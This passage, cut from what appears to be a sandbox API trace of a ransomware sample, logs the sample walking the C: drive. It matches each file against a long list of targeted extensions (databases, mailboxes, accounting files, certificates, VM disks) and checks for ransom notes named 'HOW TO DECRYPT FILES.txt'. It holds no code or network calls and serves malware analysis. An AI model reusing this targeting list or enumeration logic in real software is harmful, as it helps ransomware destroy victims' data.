(lpString="*.db") returned 4 [0057.454] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.dbf") returned 0 [0057.454] lstrlenA (lpString="*.dbf") returned 5 [0057.454] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.myox") returned 0 [0057.454] lstrlenA (lpString="*.myox") returned 6 [0057.454] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.myo") returned 0 [0057.454] lstrlenA (lpString="*.myo") returned 5 [0057.454] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.qbw") returned 0 [0057.454] lstrlenA (lpString="*.qbw") returned 5 [0057.454] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.qbb") returned 0 [0057.454] lstrlenA (lpString="*.qbb") returned 5 [0057.454] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.qbm") returned 0 [0057.454] lstrlenA (lpString="*.qbm") returned 5 [0057.454] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.qbo") returned 0 [0057.455] lstrlenA (lpString="*.qbo") returned 5 [0057.455] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.qbx") returned 0 [0057.455] lstrlenA (lpString="*.qbx") returned 5 [0057.455] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.qba") returned 0 [0057.455] lstrlenA (lpString="*.qba") returned 5 [0057.455] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.qby") returned 0 [0057.455] lstrlenA (lpString="*.qby") returned 5 [0057.455] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.qbj") returned 0 [0057.455] lstrlenA (lpString="*.qbj") returned 5 [0057.455] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.ofx") returned 0 [0057.455] lstrlenA (lpString="*.ofx") returned 5 [0057.455] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.qif") returned 0 [0057.455] lstrlenA (lpString="*.qif") returned 5 [0057.455] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.mye") returned 0 [0057.455] lstrlenA (lpString="*.mye") returned 5 [0057.455] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.mbox") returned 0 [0057.455] lstrlenA (lpString="*.mbox") returned 6 [0057.455] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.eml") returned 0 [0057.455] lstrlenA (lpString="*.eml") returned 5 [0057.455] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.pst") returned 0 [0057.455] lstrlenA (lpString="*.pst") returned 5 [0057.455] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.ost") returned 0 [0057.455] lstrlenA (lpString="*.ost") returned 5 [0057.455] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.idx") returned 0 [0057.455] lstrlenA (lpString="*.idx") returned 5 [0057.455] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.dbx") returned 0 [0057.455] lstrlenA (lpString="*.dbx") returned 5 [0057.455] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.sql") returned 0 [0057.455] lstrlenA (lpString="*.sql") returned 5 [0057.455] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.mdb") returned 0 [0057.455] lstrlenA (lpString="*.mdb") returned 5 [0057.455] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.fdb") returned 0 [0057.455] lstrlenA (lpString="*.fdb") returned 5 [0057.455] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.wab") returned 0 [0057.456] lstrlenA (lpString="*.wab") returned 5 [0057.456] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.dat") returned 0 [0057.456] lstrlenA (lpString="*.dat") returned 5 [0057.456] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.txt") returned 0 [0057.456] lstrlenA (lpString="*.txt") returned 5 [0057.456] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.jpeg") returned 0 [0057.456] lstrlenA (lpString="*.jpeg") returned 6 [0057.456] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.jpg") returned 0 [0057.456] lstrlenA (lpString="*.jpg") returned 5 [0057.456] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.png") returned 0 [0057.456] lstrlenA (lpString="*.png") returned 5 [0057.456] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.php") returned 0 [0057.456] lstrlenA (lpString="*.php") returned 5 [0057.456] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.cs") returned 0 [0057.456] lstrlenA (lpString="*.cs") returned 4 [0057.456] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.cpp") returned 0 [0057.456] lstrlenA (lpString="*.cpp") returned 5 [0057.456] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.rar") returned 0 [0057.456] lstrlenA (lpString="*.rar") returned 5 [0057.456] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.zip") returned 0 [0057.456] lstrlenA (lpString="*.zip") returned 5 [0057.456] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.html") returned 0 [0057.456] lstrlenA (lpString="*.html") returned 6 [0057.456] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.htm") returned 0 [0057.456] lstrlenA (lpString="*.htm") returned 5 [0057.456] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.xlsx") returned 0 [0057.456] lstrlenA (lpString="*.xlsx") returned 6 [0057.456] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.xls") returned 0 [0057.456] lstrlenA (lpString="*.xls") returned 5 [0057.456] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.mp4") returned 0 [0057.456] lstrlenA (lpString="*.mp4") returned 5 [0057.456] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.ppt") returned 0 [0057.457] lstrlenA (lpString="*.ppt") returned 5 [0057.457] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.pptx") returned 0 [0057.457] lstrlenA (lpString="*.pptx") returned 6 [0057.457] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.doc") returned 0 [0057.457] lstrlenA (lpString="*.doc") returned 5 [0057.457] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.dot") returned 0 [0057.457] lstrlenA (lpString="*.dot") returned 5 [0057.457] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.docx") returned 0 [0057.457] lstrlenA (lpString="*.docx") returned 6 [0057.457] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.7z") returned 0 [0057.457] lstrlenA (lpString="*.7z") returned 4 [0057.457] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.tar") returned 0 [0057.457] lstrlenA (lpString="*.tar") returned 5 [0057.457] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.bz2") returned 0 [0057.457] lstrlenA (lpString="*.bz2") returned 5 [0057.457] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.gz") returned 0 [0057.457] lstrlenA (lpString="*.gz") returned 4 [0057.457] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.mkv") returned 0 [0057.457] lstrlenA (lpString="*.mkv") returned 5 [0057.457] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.eml") returned 0 [0057.457] lstrlenA (lpString="*.eml") returned 5 [0057.457] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.msg") returned 0 [0057.457] lstrlenA (lpString="*.msg") returned 5 [0057.457] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.edb") returned 0 [0057.457] lstrlenA (lpString="*.edb") returned 5 [0057.457] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.accdb") returned 0 [0057.457] lstrlenA (lpString="*.accdb") returned 7 [0057.457] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.odb") returned 0 [0057.457] lstrlenA (lpString="*.odb") returned 5 [0057.457] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.java") returned 0 [0057.457] lstrlenA (lpString="*.java") returned 6 [0057.457] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.asm") returned 0 [0057.457] lstrlenA (lpString="*.asm") returned 5 [0057.457] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.pfx") returned 0 [0057.458] lstrlenA (lpString="*.pfx") returned 5 [0057.458] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.pem") returned 0 [0057.458] lstrlenA (lpString="*.pem") returned 5 [0057.458] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.p12") returned 0 [0057.458] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.gpg") returned 0 [0057.458] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.vsd") returned 0 [0057.458] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.odg") returned 0 [0057.458] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.raw") returned 0 [0057.458] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.nef") returned 0 [0057.458] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.svg") returned 0 [0057.458] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.psd") returned 0 [0057.458] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.vmx") returned 0 [0057.458] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.vmdk") returned 0 [0057.458] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.vdi") returned 0 [0057.458] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.lay6") returned 0 [0057.458] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.mpeg") returned 0 [0057.458] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.djvu") returned 0 [0057.458] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.tiff") returned 0 [0057.458] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.backup") returned 0 [0057.458] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.pdf") returned 0 [0057.458] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.cert") returned 0 [0057.458] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.docm") returned 0 [0057.458] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.xlsm") returned 0 [0057.459] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.dwg") returned 0 [0057.459] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.nd") returned 0 [0057.459] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.tlg") returned 0 [0057.459] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.lgb") returned 0 [0057.459] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.mov") returned 0 [0057.459] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.xdw") returned 0 [0057.459] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.ods") returned 0 [0057.459] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.wav") returned 0 [0057.459] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.mp3") returned 0 [0057.459] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.aiff") returned 0 [0057.459] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.flac") returned 0 [0057.459] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.m4a") returned 0 [0057.459] PathMatchSpecA (pszFile="C:\\bootmgr", pszSpec="*.csv") returned 0 [0057.459] FindNextFileA (in: hFindFile=0x4f4e38, lpFindFileData=0x18fe38 | out: lpFindFileData=0x18fe38*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x4f6268, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0057.459] PeekMessageA (in: lpMsg=0x18fe14, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fe14) returned 0 [0057.459] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BOOTSECT.BAK") returned 1 [0057.459] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BOOTSECT.BAK") returned 1 [0057.459] lstrcmpiA (lpString1="", lpString2="BOOTSECT.BAK") returned -1 [0057.459] PathFindFileNameA (pszPath="C:\\bootmgr") returned="bootmgr" [0057.459] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\" | out: lpString1="C:\\") returned="C:\\" [0057.459] PathAddBackslashA (in: pszPath="C:\\" | out: pszPath="C:\\") returned="" [0057.459] lstrcatA (in: lpString1="C:\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\HOW TO DECRYPT FILES.txt") returned="C:\\HOW TO DECRYPT FILES.txt" [0057.459] GetFileAttributesA (lpFileName="C:\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\how to decrypt files.txt")) returned 0x20 [0057.459] lstrcatA (in: lpString1="C:\\", lpString2="BOOTSECT.BAK" | out: lpString1="C:\\BOOTSECT.BAK") returned="C:\\BOOTSECT.BAK" [0057.459] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.ems") returned 0 [0057.460] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.db") returned 0 [0057.460] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.dbf") returned 0 [0057.460] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.myox") returned 0 [0057.460] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.myo") returned 0 [0057.460] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.qbw") returned 0 [0057.460] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.qbb") returned 0 [0057.460] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.qbm") returned 0 [0057.460] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.qbo") returned 0 [0057.460] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.qbx") returned 0 [0057.460] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.qba") returned 0 [0057.460] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.qby") returned 0 [0057.460] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.qbj") returned 0 [0057.460] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.ofx") returned 0 [0057.460] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.qif") returned 0 [0057.460] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.mye") returned 0 [0057.460] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.mbox") returned 0 [0057.460] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.eml") returned 0 [0057.461] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.pst") returned 0 [0057.461] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.ost") returned 0 [0057.461] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.idx") returned 0 [0057.461] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.dbx") returned 0 [0057.461] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.sql") returned 0 [0057.461] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.mdb") returned 0 [0057.461] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.fdb") returned 0 [0057.461] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.wab") returned 0 [0057.461] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.dat") returned 0 [0057.461] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.txt") returned 0 [0057.461] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.jpeg") returned 0 [0057.461] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.jpg") returned 0 [0057.461] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.png") returned 0 [0057.461] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.php") returned 0 [0057.461] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.cs") returned 0 [0057.461] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.cpp") returned 0 [0057.461] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.rar") returned 0 [0057.461] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.zip") returned 0 [0057.461] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.html") returned 0 [0057.461] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.htm") returned 0 [0057.461] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.xlsx") returned 0 [0057.461] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.xls") returned 0 [0057.461] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.mp4") returned 0 [0057.462] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.ppt") returned 0 [0057.462] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.pptx") returned 0 [0057.462] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.doc") returned 0 [0057.462] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.dot") returned 0 [0057.462] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.docx") returned 0 [0057.462] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.7z") returned 0 [0057.462] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.tar") returned 0 [0057.462] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.bz2") returned 0 [0057.462] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.gz") returned 0 [0057.462] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.mkv") returned 0 [0057.462] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.eml") returned 0 [0057.462] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.msg") returned 0 [0057.462] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.edb") returned 0 [0057.462] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.accdb") returned 0 [0057.462] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.odb") returned 0 [0057.462] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.java") returned 0 [0057.462] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.asm") returned 0 [0057.462] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.pfx") returned 0 [0057.462] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.pem") returned 0 [0057.462] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.p12") returned 0 [0057.462] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.gpg") returned 0 [0057.462] PathMatchSpecA (pszFile="C:\\BOOTSECT.BAK", pszSpec="*.vsd") returned 0 [0057.463] FindNextFileA (in: hFindFile=0x4f4e38, lpFindFileData=0x18fe38 | out: lpFindFileData=0x18fe38*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0057.463] lstrcmpA (lpString1=".", lpString2="Config.Msi") returned -1 [0057.463] lstrcmpA (lpString1="..", lpString2="Config.Msi") returned -1 [0057.463] PathFindFileNameA (pszPath="C:\\BOOTSECT.BAK") returned="BOOTSECT.BAK" [0057.463] lstrcatA (in: lpString1="C:\\", lpString2="Config.Msi" | out: lpString1="C:\\Config.Msi") returned="C:\\Config.Msi" [0057.463] FindFirstFileA (in: lpFileName="C:\\Config.Msi\\*.*", lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18fb50, dwReserved1=0x4f6036, cFileName=".", cAlternateFileName="")) returned 0x4f6030 [0057.464] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.464] FindNextFileA (in: hFindFile=0x4f6030, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0057.464] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.464] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.464] FindNextFileA (in: hFindFile=0x4f6030, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 0 [0057.464] FindClose (in: hFindFile=0x4f6030 | out: hFindFile=0x4f6030) returned 1 [0057.464] FindNextFileA (in: hFindFile=0x4f4e38, lpFindFileData=0x18fe38 | out: lpFindFileData=0x18fe38*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x3, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0057.464] lstrcmpA (lpString1=".", lpString2="Documents and Settings") returned -1 [0057.464] lstrcmpA (lpString1="..", lpString2="Documents and Settings") returned -1 [0057.464] PathFindFileNameA (pszPath="C:\\*.*") returned="*.*" [0057.464] lstrcatA (in: lpString1="C:\\", lpString2="Documents and Settings" | out: lpString1="C:\\Documents and Settings") returned="C:\\Documents and Settings" [0057.464] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\*.*", lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x2e002e, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="Äÿ\x18")) returned 0xffffffff [0057.465] FindNextFileA (in: hFindFile=0x4f4e38, lpFindFileData=0x18fe38 | out: lpFindFileData=0x18fe38*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xae99ef60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0x6f0044, dwReserved1=0x750063, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0057.465] PeekMessageA (in: lpMsg=0x18fe14, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fe14) returned 0 [0057.465] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="hiberfil.sys") returned -1 [0057.465] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="hiberfil.sys") returned 1 [0057.465] lstrcmpiA (lpString1="", lpString2="hiberfil.sys") returned -1 [0057.465] PathFindFileNameA (pszPath="C:\\*.*") returned="*.*" [0057.465] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\" | out: lpString1="C:\\") returned="C:\\" [0057.465] PathAddBackslashA (in: pszPath="C:\\" | out: pszPath="C:\\") returned="" [0057.465] lstrcatA (in: lpString1="C:\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\HOW TO DECRYPT FILES.txt") returned="C:\\HOW TO DECRYPT FILES.txt" [0057.465] GetFileAttributesA (lpFileName="C:\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\how to decrypt files.txt")) returned 0x20 [0057.465] lstrcatA (in: lpString1="C:\\", lpString2="hiberfil.sys" | out: lpString1="C:\\hiberfil.sys") returned="C:\\hiberfil.sys" [0057.466] FindNextFileA (in: hFindFile=0x4f4e38, lpFindFileData=0x18fe38 | out: lpFindFileData=0x18fe38*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0057.466] lstrcmpA (lpString1=".", lpString2="MSOCache") returned -1 [0057.466] lstrcmpA (lpString1="..", lpString2="MSOCache") returned -1 [0057.466] PathFindFileNameA (pszPath="C:\\hiberfil.sys") returned="hiberfil.sys" [0057.466] lstrcatA (in: lpString1="C:\\", lpString2="MSOCache" | out: lpString1="C:\\MSOCache") returned="C:\\MSOCache" [0057.466] FindFirstFileA (in: lpFileName="C:\\MSOCache\\*.*", lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18fb50, dwReserved1=0x4f6036, cFileName=".", cAlternateFileName="")) returned 0x4f6000 [0057.466] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.466] FindNextFileA (in: hFindFile=0x4f6000, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0057.466] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.466] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.466] FindNextFileA (in: 